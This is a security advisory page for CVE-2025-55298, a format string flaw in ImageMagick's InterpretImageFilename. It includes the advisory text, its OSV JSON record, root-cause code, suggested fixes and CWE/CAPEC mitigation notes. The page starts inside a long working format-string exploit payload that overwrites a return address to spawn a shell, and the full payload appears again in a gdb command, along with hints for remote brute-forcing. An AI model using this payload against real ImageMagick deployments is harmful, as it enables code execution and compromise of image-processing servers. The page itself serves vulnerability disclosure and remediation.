%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%17995c%hn%c%c%c%c%c%c%c%c%c%65529c%hn%93659c%2176\$hn%233c%2194\$hhnaaaaaaaaa

The exploit achieves remote code execution by leveraging format string vulnerabilities to perform a write-what-where attack. The payload systematically overwrites return addresses on the stack, redirecting program execution to a one-gadget ROP chain that spawns a shell with the current process privileges.

Exploitation Process: 1. Format string payload corrupts stack pointers through positional parameters 2. Multiple 2-byte writes (%hn) progressively overwrite the return address
3. Final payload redirects execution to a one-gadget (0x00007ffff66ebc85) 4. One-gadget executes /bin/sh with inherited process permissions

Remote Exploitation Feasibility: While this PoC demonstrates local shell execution with ASLR disabled, remote code execution is achievable in real-world scenarios through brute force attacks. When stack layout conditions are favorable, attackers can perform 1.5-byte return address brute force and 1.5-byte libc base address brute force to gain shell access.

Important: The numeric parameters within the format string payload are environment-dependent and may require modification for different target systems due to variations in memory layout and stack structure.

Note: This demonstrates complete system compromise, as the attacker gains interactive shell access to the target system.

Impact

This format string vulnerability enables attackers to achieve complete system compromise through arbitrary memory read/write operations and remote code execution. Attackers can access sensitive data stored in process memory, overwrite critical system structures, and execute arbitrary code with ImageMagick's privileges.

The vulnerability is particularly dangerous in web applications processing user-uploaded images and automated image processing systems. Successful exploitation can lead to privilege escalation, data exfiltration, and lateral movement within compromised networks.

Suggested Fix

Two potential mitigation approaches:

  1. Input Validation: Add format string validation in InterpretImageFilename to reject filenames containing format specifiers (%n, %s, %x, etc.) before passing to FormatLocaleString
  2. Safe Parsing: Modify the format string processing to parse and validate each format specifier individually rather than passing the entire user-controlled string directly to FormatLocaleString

Credits

Team Daemon Fuzz Hunters

Bug Hunting Master Program, HSpace/Findthegap

Woojin Park @jin-156 1203kids@gmail.com

Hojun Lee @leehohojune leehojune@korea.ac.kr

Youngin Won @amethyst0225 youngin04@korea.ac.kr

Siyeon Han @hanbunny kokosyeon@gmail.com

Additional notes from the ImageMagick team:

On many modern toolchains and OSes, format‑string exploits using %n are already mitigated or blocked by default (e.g., -Wformat-security, _FORTIFY_SOURCE, hardened libc behavior, ASLR/stack canaries). That can make exploitation impractical in typical builds so you might not be vulnerable but it would still be wise to upgrade to the most recent version. We also already provide the following mitigation:

To prevent unintended interpretation of the filename as a format string, users can explicitly disable format string parsing by defining the filename as a literal. This can be done using the following directive:

  • In wrappers: filename:literal
  • From the command line: -define filename:literal=true
Severity
7.5 (High)
CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "NuGet",
        "name": "Magick.NET-Q16-AnyCPU"
      },
      "ranges": [
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              "fixed": "14.8.1"
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      ]
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    {
      "package": {
        "ecosystem": "NuGet",
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          "type": "ECOSYSTEM"
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      ]
    },
    {
      "package": {
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      "ranges": [
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          "type": "ECOSYSTEM"
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        "name": "Magick.NET-Q16-HDRI-OpenMP-x64"
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  ],
  "aliases": [
    "CVE-2025-55298"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-123",
      "CWE-134"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-08-26T15:29:33Z",
    "nvd_published_at": "2025-08-26T18:15:47Z",
    "severity": "HIGH"
  },
  "details": "## Summary\nA format string bug vulnerability exists in `InterpretImageFilename` function where user input is directly passed to `FormatLocaleString` without proper sanitization. An attacker can overwrite arbitrary memory regions, enabling a wide range of attacks from heap overflow to remote code execution.\n\u003cbr\u003e\n\n## Details\n### root cause\n```\nMagickExport size_t InterpretImageFilename(const ImageInfo *image_info,\n  Image *image,const char *format,int value,char *filename,\n  ExceptionInfo *exception)\n{\n\n...\n\n  while ((cursor=strchr(cursor,\u0027%\u0027)) != (const char *) NULL)\n  {\n    const char\n      *q = cursor;\n\n    ssize_t\n      offset = (ssize_t) (cursor-format);\n\n    cursor++;  /* move past \u0027%\u0027 */\n    if (*cursor == \u0027%\u0027)\n      {\n        /*\n          Escaped %%.\n        */\n        cursor++;\n        continue;\n      }\n    /*\n      Skip padding digits like %03d.\n    */\n    if (isdigit((int) ((unsigned char) *cursor)) != 0)\n      (void) strtol(cursor,(char **) \u0026cursor,10);\n    switch (*cursor)\n    {\n      case \u0027d\u0027:\n      case \u0027o\u0027:\n      case \u0027x\u0027:\n      {\n        ssize_t\n          count;\n\n        count=FormatLocaleString(pattern,sizeof(pattern),q,value);\n        if ((count \u003c= 0) || (count \u003e= MagickPathExtent) ||\n            ((offset+count) \u003e= MagickPathExtent))\n          return(0);\n        (void) CopyMagickString(p+offset,pattern,(size_t) (MagickPathExtent-\n          offset));\n        cursor++;\n        break;\n      }\n```\nWhen the InterpretImageFilename function processes a filename beginning with format specifiers such as %d, %o, or %x, the filename string is directly passed as a parameter to the FormatLocaleString function.\n\u003cbr\u003e\n```\nMagickExport ssize_t FormatLocaleString(char *magick_restrict string,\n  const size_t length,const char *magick_restrict format,...)\n{\n  ssize_t\n    n;\n\n  va_list\n    operands;\n\n  va_start(operands,format);\n  n=FormatLocaleStringList(string,length,format,operands);\n  va_end(operands);\n  return(n);\n}\n```\n```\nMagickPrivate ssize_t FormatLocaleStringList(char *magick_restrict string,\n  const size_t length,const char *magick_restrict format,va_list operands)\n{\n...\nn=(ssize_t) _vsnprintf_l(string,length,format,locale,operands);\n```\nInside FormatLocaleString, the variable argument list is initialized through va_start, after which the format string processing occurs by interpreting the format specifiers and using corresponding values from CPU registers and the call stack as arguments for the formatting operations.\n\u003cbr\u003e\n## PoC\n### 1. Heap overflow read tested on development container\n```\nroot@9184bf32bd0f:/workspaces/ImageMagick# mogrify %o%n\n=================================================================\n==55653==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x603000000001 at pc 0x5bdccaae689e bp 0x7fff6882c410 sp 0x7fff6882c408\nREAD of size 8 at 0x603000000001 thread T0\n    #0 0x5bdccaae689d in SplaySplayTree splay-tree.c\n    #1 0x5bdccaae865e in GetValueFromSplayTree (/ImageMagick/bin/magick+0x59165e) (BuildId: 2e7da788e419b6541dccde47c7b6e784063d1171)\n    #2 0x5bdccaa8e47b in GetImageOption (/ImageMagick/bin/magick+0x53747b) (BuildId: 2e7da788e419b6541dccde47c7b6e784063d1171)\n    #3 0x5bdccaa63c39 in SyncImageSettings (/ImageMagick/bin/magick+0x50cc39) (BuildId: 2e7da788e419b6541dccde47c7b6e784063d1171)\n    #4 0x5bdccaa63036 in AcquireImage (/ImageMagick/bin/magick+0x50c036) (BuildId: 2e7da788e419b6541dccde47c7b6e784063d1171)\n    #5 0x5bdccaa70cc4 in SetImageInfo (/ImageMagick/bin/magick+0x519cc4) (BuildId: 2e7da788e419b6541dccde47c7b6e784063d1171)\n    #6 0x5bdccae42e13 in ReadImages (/ImageMagick/bin/magick+0x8ebe13) (BuildId: 2e7da788e419b6541dccde47c7b6e784063d1171)\n    #7 0x5bdccb11ee08 in MogrifyImageCommand (/ImageMagick/bin/magick+0xbc7e08) (BuildId: 2e7da788e419b6541dccde47c7b6e784063d1171)\n    #8 0x5bdccb103ca9 in MagickCommandGenesis (/ImageMagick/bin/magick+0xbacca9) (BuildId: 2e7da788e419b6541dccde47c7b6e784063d1171)\n    #9 0x5bdccaa5f939 in main (/ImageMagick/bin/magick+0x508939) (BuildId: 2e7da788e419b6541dccde47c7b6e784063d1171)\n    #10 0x73b2102b2d8f  (/lib/x86_64-linux-gnu/libc.so.6+0x29d8f) (BuildId: d5197096f709801829b118af1b7cf6631efa2dcd)\n    #11 0x73b2102b2e3f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x29e3f) (BuildId: d5197096f709801829b118af1b7cf6631efa2dcd)\n    #12 0x5bdcca99f404 in _start (/ImageMagick/bin/magick+0x448404) (BuildId: 2e7da788e419b6541dccde47c7b6e784063d1171)\n\n0x603000000001 is located 15 bytes to the left of 24-byte region [0x603000000010,0x603000000028)\nallocated by thread T0 here:\n    #0 0x5bdccaa2224e in malloc (/ImageMagick/bin/magick+0x4cb24e) (BuildId: 2e7da788e419b6541dccde47c7b6e784063d1171)\n    #1 0x73b21031915a  (/lib/x86_64-linux-gnu/libc.so.6+0x9015a) (BuildId: d5197096f709801829b118af1b7cf6631efa2dcd)\n\nSUMMARY: AddressSanitizer: heap-buffer-overflow splay-tree.c in SplaySplayTree\nShadow bytes around the buggy address:\n  0x0c067fff7fb0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\n  0x0c067fff7fc0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\n  0x0c067fff7fd0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\n  0x0c067fff7fe0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\n  0x0c067fff7ff0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\n=\u003e0x0c067fff8000:[fa]fa 00 00 00 fa fa fa 00 00 00 00 fa fa 00 00\n  0x0c067fff8010: 00 00 fa fa 00 00 00 00 fa fa 00 00 00 00 fa fa\n  0x0c067fff8020: 00 00 00 00 fa fa 00 00 00 00 fa fa 00 00 00 00\n  0x0c067fff8030: fa fa 00 00 00 00 fa fa 00 00 00 00 fa fa 00 00\n  0x0c067fff8040: 00 00 fa fa 00 00 00 00 fa fa 00 00 00 00 fa fa\n  0x0c067fff8050: 00 00 00 00 fa fa 00 00 00 00 fa fa 00 00 00 00\nShadow byte legend (one shadow byte represents 8 application bytes):\n  Addressable:           00\n  Partially addressable: 01 02 03 04 05 06 07 \n  Heap left redzone:       fa\n  Freed heap region:       fd\n  Stack left redzone:      f1\n  Stack mid redzone:       f2\n  Stack right redzone:     f3\n  Stack after return:      f5\n  Stack use after scope:   f8\n  Global redzone:          f9\n  Global init order:       f6\n  Poisoned by user:        f7\n  Container overflow:      fc\n  Array cookie:            ac\n  Intra object redzone:    bb\n  ASan internal:           fe\n  Left alloca redzone:     ca\n  Right alloca redzone:    cb\n==55653==ABORTING\n```\nProcessing a malicious filename containing format string specifiers such as %d%n results in corruption of the SplayTree structure stored in the r8 register. The corrupted structure contains invalid pointer values that are later dereferenced by the SplaySplayTree function, causing the function to access unintended memory locations and triggering a heap overflow condition.\n\u003cbr\u003e\n\n### 2. Shell execution tested on a local environment\n\nhttps://github.com/user-attachments/assets/00e6a091-8e77-48f0-959e-c05eff69ff94\n\n```\n ~/fuzz gdb -nx -args ./patchedsecure/bin/mogrify %d%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%17995c%hn%c%c%c%c%c%c%c%c%c%65529c%hn%93659c%2176\\$hn%233c%2194\\$hhnaaaaaaaaa\n```\nThe exploit achieves remote code execution by leveraging format string vulnerabilities to perform a write-what-where attack. The payload systematically overwrites return addresses on the stack, redirecting program execution to a one-gadget ROP chain that spawns a shell with the current process privileges.\n\u003cbr\u003e\n\n**Exploitation Process:**\n1. Format string payload corrupts stack pointers through positional parameters\n2. Multiple 2-byte writes (%hn) progressively overwrite the return address  \n3. Final payload redirects execution to a one-gadget (0x00007ffff66ebc85)\n4. One-gadget executes `/bin/sh` with inherited process permissions\n\u003cbr\u003e\n\n**Remote Exploitation Feasibility:**\nWhile this PoC demonstrates local shell execution with ASLR disabled, remote code execution is achievable in real-world scenarios through brute force attacks. When stack layout conditions are favorable, attackers can perform 1.5-byte return address brute force and 1.5-byte libc base address brute force to gain shell access.\n\u003cbr\u003e\n\n**Important:** The numeric parameters within the format string payload are environment-dependent and may require modification for different target systems due to variations in memory layout and stack structure.\n\n**Note:**\u00a0This demonstrates complete system compromise, as the attacker gains interactive shell access to the target system.\n\u003cbr\u003e\n\n## Impact\nThis format string vulnerability enables attackers to achieve complete system compromise through arbitrary memory read/write operations and remote code execution. Attackers can access sensitive data stored in process memory, overwrite critical system structures, and execute arbitrary code with ImageMagick\u0027s privileges.\n\nThe vulnerability is particularly dangerous in web applications processing user-uploaded images and automated image processing systems. Successful exploitation can lead to privilege escalation, data exfiltration, and lateral movement within compromised networks.\n\u003cbr\u003e\n\n## Suggested Fix\n\nTwo potential mitigation approaches:\n\n1. **Input Validation**: Add format string validation in `InterpretImageFilename` to reject filenames containing format specifiers (`%n`, `%s`, `%x`, etc.) before passing to `FormatLocaleString`\n2. **Safe Parsing**: Modify the format string processing to parse and validate each format specifier individually rather than passing the entire user-controlled string directly to `FormatLocaleString`\n\u003cbr\u003e\n\n## Credits\n### Team Daemon Fuzz Hunters\n**Bug Hunting Master Program, HSpace/Findthegap**\n\u003cbr\u003e\n\n**Woojin Park**\n@jin-156\n[1203kids@gmail.com](mailto:1203kids@gmail.com)\n\n**Hojun Lee**\n@leehohojune \n[leehojune@korea.ac.kr](mailto:leehojune@korea.ac.kr)\n\n**Youngin Won**\n@amethyst0225\n[youngin04@korea.ac.kr](mailto:youngin04@korea.ac.kr)\n\n**Siyeon Han**\n@hanbunny\n[kokosyeon@gmail.com](mailto:kokosyeon@gmail.com)\n\n# Additional notes from the ImageMagick team:\n\nOn many modern toolchains and OSes, format\u2011string exploits using %n are already mitigated or blocked by default (e.g., -Wformat-security, _FORTIFY_SOURCE, hardened libc behavior, ASLR/stack canaries). That can make exploitation impractical in typical builds so you might not be vulnerable but it would still be wise to upgrade to the most recent version. We also already provide the following mitigation:\n\nTo prevent unintended interpretation of the filename as a format string, users can explicitly disable format string parsing by defining the filename as a literal. This can be done using the following directive:\n\n- In wrappers: `filename:literal`\n- From the command line: `-define filename:literal=true`",
  "id": "GHSA-9ccg-6pjw-x645",
  "modified": "2025-11-03T21:34:25Z",
  "published": "2025-08-26T15:29:33Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-9ccg-6pjw-x645"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-55298"
    },
    {
      "type": "WEB",
      "url": "https://github.com/ImageMagick/ImageMagick/commit/439b362b93c074eea6c3f834d84982b43ef057d5"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/ImageMagick/ImageMagick"
    },
    {
      "type": "WEB",
      "url": "https://github.com/dlemstra/Magick.NET/releases/tag/14.8.1"
    },
    {
      "type": "WEB",
      "url": "https://lists.debian.org/debian-lts-announce/2025/09/msg00012.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "ImageMagick has a Format String Bug in InterpretImageFilename leads to arbitrary code execution"
}
Mitigation
Requirements

Choose a language that is not subject to this flaw.

Mitigation
Implementation

Ensure that all format string functions are passed a static string which cannot be controlled by the user, and that the proper number of arguments are always sent to that function as well. If at all possible, use functions that do not support the %n operator in format strings. [REF-116] [REF-117]

Mitigation
Build and Compilation

Run compilers and linkers with high warning levels, since they may detect incorrect usage.

CAPEC-135: Format String Injection

An adversary includes formatting characters in a string input field on the target application. Most applications assume that users will provide static text and may respond unpredictably to the presence of formatting character. For example, in certain functions of the C programming languages such as printf, the formatting character %s will print the contents of a memory location expecting this location to identify a string and the formatting character %n prints the number of DWORD written in the memory. An adversary can use this to read or write to memory locations or files, or simply to manipulate the value of the resulting text in unexpected ways. Reading or writing memory may result in program crashes and writing memory could result in the execution of arbitrary code if the adversary can write to the program stack.

CAPEC-67: String Format Overflow in syslog()

This attack targets applications and software that uses the syslog() function insecurely. If an application does not explicitely use a format string parameter in a call to syslog(), user input can be placed in the format string parameter leading to a format string injection attack. Adversaries can then inject malicious format string commands into the function call leading to a buffer overflow. There are many reported software vulnerabilities with the root cause being a misuse of the syslog() function.

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